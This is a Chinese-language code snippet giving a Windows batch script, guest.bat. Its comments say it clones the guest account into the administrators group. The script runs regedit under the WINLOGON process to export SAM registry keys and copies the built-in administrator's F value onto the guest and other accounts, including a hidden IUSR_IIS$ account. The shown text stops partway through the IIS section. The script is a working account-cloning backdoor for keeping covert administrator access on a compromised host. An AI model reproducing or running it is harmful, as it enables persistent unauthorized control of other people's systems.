代碼如下:
@echo guest.bat ^<zpid^> ^<password^>
@echo __________________________________________________________
@rem 本guest.bat自動克隆guest為administrators組。
@rem 如果存在username表示在終端登陸的環境運行bat.需要手工輸入pid值。
@rem 最好先手工修改密碼。執行本程序兩次。哈哈。 主要是沒有掩飾。regedit比較費時間。
@set zpath=%path%
@set zcd=%cd%
@set path=%path%;%windir%;%windir%/system32
:start
@net user guest |find /i "*Domain" &&echo Domain Controller, Dont clone. ADD user! &&goto DOMAIN
@if NOT "%USERNAME%"=="" echo username=[%username%],term_login mode. input PID. &&goto Term
:start1
@pulist.exe |findstr.exe /i "WINLOGON.exe" >a
@setx.exe a -f a -a 0,1 >b
@FOR /F "eol=; tokens=1,2,3* delims=, " %%i in (b) do @set zpid=%%i
@goto AUTO
:Term
@if "%1"=="" goto USAGE
@if NOT "%2"=="" net user guest %2
@if NOT "%2"=="" net user |find /i "tsinternetuser" >nul &&net user tsinternetuser %2
@set zpid=%1
:AUTO
@echo Make admg.reg admt.reg admiis.reg
@psu.exe -p "%windir%/regedit.exe -e admin.reg HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/000001F4" -i %zpid% >nul
@psu.exe -p "%windir%/regedit.exe -e name.$$$ HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/Names" -i %zpid% >nul
@echo Windows Registry Editor Version 5.00 >admg.reg
@echo Windows Registry Editor Version 5.00 >admt.reg
@echo [HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/000001F5]>>admg.reg
@echo [HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/000003e8]>>admt.reg
@type admin.reg >a &echo "Unicode -->>> ansi . find.exe use it ansi." &if exist b del b
@echo "F"=hex:02,00,01,00,00,00,00,00,00,00,00,00,00,00,00,01,00,00,00,00,00,00,00,/>>b
@setx.exe a -f a -a 4,0 |find "," >>b
@setx.exe a -f a -a 5,0 |find "," >>b
@setx.exe a -f a -a 6,0 |find "," >>b
@type b >>admg.reg
@type b >>admt.reg
:IIS
@set zda=no
@echo iusr_iis exec
@type name.$$$ >name.reg
@copy name.reg name.txt >nul
@FOR /L %%i IN (5,3,30) DO @(setx.exe a -f name.reg -a %%i,0 |find /i "IUSR_IIS$" &&set zda=%%i)
